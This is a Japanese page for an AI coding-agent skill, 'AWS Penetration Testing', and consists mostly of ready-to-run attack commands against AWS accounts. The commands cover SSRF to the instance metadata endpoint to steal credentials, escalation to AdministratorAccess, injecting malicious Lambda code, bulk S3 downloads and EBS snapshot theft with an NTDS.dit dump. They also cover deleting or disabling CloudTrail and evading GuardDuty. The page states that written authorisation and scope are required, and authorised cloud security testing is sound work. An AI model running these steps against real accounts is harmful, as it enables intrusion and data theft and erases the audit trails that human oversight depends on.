AWS Penetration Testing について
AWS Penetration Testingは、AWS環境を評価する許可済みのテスター向けリファレンススキルです。IAM、EC2、S3、Lambdaの列挙や検証を扱い、書面による許可、対象範囲、監査記録を重視します。
主な機能
- 01IAMのID・権限・ポリシーを列挙
- 02メタデータエンドポイントと一時認証情報のリスクを評価
- 03S3・Lambda・EC2のリソースを検証
- 04権限昇格経路を整理
- 05監査結果を記録しテスト制約を遵守
活用シーン
- 01AWSのID・アクセス設定を評価
- 02許可された範囲内でクラウドリソースの露出を確認
- 03レッドチーム演習で権限昇格の可能性を整理
- 04AWSセキュリティ監査の結果をまとめる
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ davila7/ claude-code-templates --skill aws-penetration-testingインストール後、Claude Code で/aws-penetration-testingを入力して読み込まれたか確認します。
同梱ファイルreferences/advanced-aws-pentesting.md
詳細
AWS ペネトレーションテスト
目的
AWS クラウド環境に対するペネトレーションテストの包括的な手法を提供します。IAM の列挙、権限昇格、メタデータエンドポイントへの SSRF、S3 バケットの悪用、Lambda のコード抽出、およびレッドチーム演習における永続化手法を扱います。
入力/前提条件
- 認証情報が設定された AWS CLI
- 有効な AWS 認証情報(低権限のものでも可)
- AWS IAM モデルの理解
- Python 3、boto3 ライブラリ
- ツール: Pacu、Prowler、ScoutSuite、SkyArk
出力/成果物
- IAM の権限昇格経路
- 抽出された認証情報およびシークレット
- 侵害された EC2/Lambda/S3 リソース
- 永続化の仕組み
- セキュリティ監査の結果
必須ツール
| ツール | 用途 | インストール |
|---|---|---|
| Pacu | AWS エクスプロイトフレームワーク | git clone https://github.com/RhinoSecurityLabs/pacu |
| SkyArk | Shadow Admin の検出 | Import-Module .\SkyArk.ps1 |
| Prowler | セキュリティ監査 | pip install prowler |
| ScoutSuite | マルチクラウド監査 | pip install scoutsuite |
| enumerate-iam | 権限の列挙 | git clone https://github.com/andresriancho/enumerate-iam |
| Principal Mapper | IAM 分析 | pip install principalmapper |
基本ワークフロー
ステップ 1: 初期列挙
侵害された ID と権限を特定します:
# Check current identity
aws sts get-caller-identity
# Configure profile
aws configure --profile compromised
# List access keys
aws iam list-access-keys
# Enumerate permissions
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...
ステップ 2: IAM 列挙
# List all users
aws iam list-users
# List groups for user
aws iam list-groups-for-user --user-name TARGET_USER
# List attached policies
aws iam list-attached-user-policies --user-name TARGET_USER
# List inline policies
aws iam list-user-policies --user-name TARGET_USER
# Get policy details
aws iam get-policy --policy-arn POLICY_ARN
aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1
# List roles
aws iam list-roles
aws iam list-attached-role-policies --role-name ROLE_NAME
ステップ 3: EC2 へのメタデータ SSRF
SSRF を悪用して、メタデータエンドポイント(IMDSv1)にアクセスします:
# Access metadata endpoint
http://169.254.169.254/latest/meta-data/
# Get IAM role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Extract temporary credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
# Response contains:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2019-08-01T05:20:30Z"
}
IMDSv2 の場合(トークンが必要):
# Get token first
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
"http://169.254.169.254/latest/api/token")
# Use token for requests
curl -H "X-aws-ec2-metadata-token:$TOKEN" \
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
Fargate コンテナの認証情報:
# Read environment for credential path
/proc/self/environ
# Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...
# Access credentials
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH
権限昇格の手法
Shadow Admin の権限
以下の権限は管理者権限と同等です:
| 権限 | 悪用方法 |
|---|---|
iam:CreateAccessKey | 管理者ユーザー用のキーを作成 |
iam:CreateLoginProfile | 任意のユーザーのパスワードを設定 |
iam:AttachUserPolicy | 自分自身に管理者ポリシーをアタッチ |
iam:PutUserPolicy | インラインの管理者ポリシーを追加 |
iam:AddUserToGroup | 自分自身を管理者グループに追加 |
iam:PassRole + ec2:RunInstances | 管理者ロールを付与した EC2 を起動 |
lambda:UpdateFunctionCode | Lambda にコードを注入 |
別のユーザー用のアクセスキーを作成
aws iam create-access-key --user-name target_user
管理者ポリシーのアタッチ
aws iam attach-user-policy --user-name my_username \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
インラインの管理者ポリシーの追加
aws iam put-user-policy --user-name my_username \
--policy-name admin_policy \
--policy-document file://admin-policy.json
Lambda による権限昇格
# code.py - Inject into Lambda function
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
)
return response
# Update Lambda code
aws lambda update-function-code --function-name target_function \
--zip-file fileb://malicious.zip
S3 バケットの悪用
バケットの検出
# Using bucket_finder
./bucket_finder.rb wordlist.txt
./bucket_finder.rb --download --region us-east-1 wordlist.txt
# Common bucket URL patterns
https://{bucket-name}.s3.amazonaws.com
https://s3.amazonaws.com/{bucket-name}
バケットの列挙
# List buckets (with creds)
aws s3 ls
# List bucket contents
aws s3 ls s3://bucket-name --recursive
# Download all files
aws s3 sync s3://bucket-name ./local-folder
公開バケットの検索
https://buckets.grayhatwarfare.com/
Lambda の悪用
# List Lambda functions
aws lambda list-functions
# Get function code
aws lambda get-function --function-name FUNCTION_NAME
# Download URL provided in response
# Invoke function
aws lambda invoke --function-name FUNCTION_NAME output.txt
SSM によるコマンド実行
Systems Manager では、EC2 インスタンス上でコマンドを実行できます:
# List managed instances
aws ssm describe-instance-information
# Execute command
aws ssm send-command --instance-ids "i-0123456789" \
--document-name "AWS-RunShellScript" \
--parameters commands="whoami"
# Get command output
aws ssm list-command-invocations --command-id "CMD-ID" \
--details --query "CommandInvocations[].CommandPlugins[].Output"
EC2 の悪用
EBS ボリュームのマウント
# Create snapshot of target volume
aws ec2 create-snapshot --volume-id vol-xxx --description "Audit"
# Create volume from snapshot
aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a
# Attach to attacker instance
aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf
# Mount and access
sudo mkdir /mnt/stolen
sudo mount /dev/xvdf1 /mnt/stolen
シャドウコピー攻撃(Windows DC)
# CloudCopy technique
# 1. Create snapshot of DC volume
# 2. Share snapshot with attacker account
# 3. Mount in attacker instance
# 4. Extract NTDS.dit and SYSTEM
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local
API キーからのコンソールアクセス
CLI の認証情報をコンソールアクセスに変換します:
git clone https://github.com/NetSPI/aws_consoler
aws_consoler -v -a AKIAXXXXXXXX -s SECRETKEY
# Generates signin URL for console access
痕跡の隠蔽
CloudTrail の無効化
# Delete trail
aws cloudtrail delete-trail --name trail_name
# Disable global events
aws cloudtrail update-trail --name trail_name \
--no-include-global-service-events
# Disable specific region
aws cloudtrail update-trail --name trail_name \
--no-include-global-service-events --no-is-multi-region-trail
注意: Kali/Parrot/Pentoo Linux は、user-agent に基づいて GuardDuty のアラートを発生させます。user-agent を変更する Pacu を使用してください。
クイックリファレンス
| タスク | コマンド |
|---|---|
| ID の確認 | aws sts get-caller-identity |
| ユーザーの一覧 | aws iam list-users |
| ロールの一覧 | aws iam list-roles |
| バケットの一覧 | aws s3 ls |
| EC2 の一覧 | aws ec2 describe-instances |
| Lambda の一覧 | aws lambda list-functions |
| メタデータの取得 | curl http://169.254.169.254/latest/meta-data/ |
制約
必須:
- テスト前に書面による許可を取得すること
- 監査証跡のため、すべての操作を文書化すること
- スコープ内のリソースのみをテストすること
禁止:
- 承認なしに本番データを変更すること
- 文書化せずに永続的なバックドアを残すこと
- セキュリティ統制を恒久的に無効化すること
推奨:
- メタデータ攻撃を試みる前に IMDSv2 の有無を確認すること
- 悪用の前に十分に列挙すること
- 演習終了後にテスト用リソースをクリーンアップすること
例
例 1: SSRF から管理者権限へ
# 1. Find SSRF vulnerability in web app
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 2. Get role name from response
# 3. Extract credentials
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole
# 4. Configure AWS CLI with stolen creds
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
# 5. Verify access
aws sts get-caller-identity
トラブルシューティング
| 問題 | 解決策 |
|---|---|
| すべてのコマンドでアクセス拒否 | enumerate-iam で権限を列挙する |
| メタデータエンドポイントがブロックされている | IMDSv2 の有無を確認し、コンテナのメタデータを試す |
| GuardDuty のアラート | カスタム user-agent を指定して Pacu を使用する |
| 認証情報の有効期限切れ | メタデータから再取得する(一時認証情報はローテーションされる) |
| CloudTrail がアクションを記録している | 無効化するか、ログの難読化を検討する |
追加リソース
Lambda/API Gateway の悪用、Secrets Manager と KMS、コンテナセキュリティ(ECS/EKS/ECR)、RDS/DynamoDB の悪用、VPC での横方向移動、セキュリティチェックリストなどの高度な手法については、references/advanced-aws-pentesting.md を参照してください。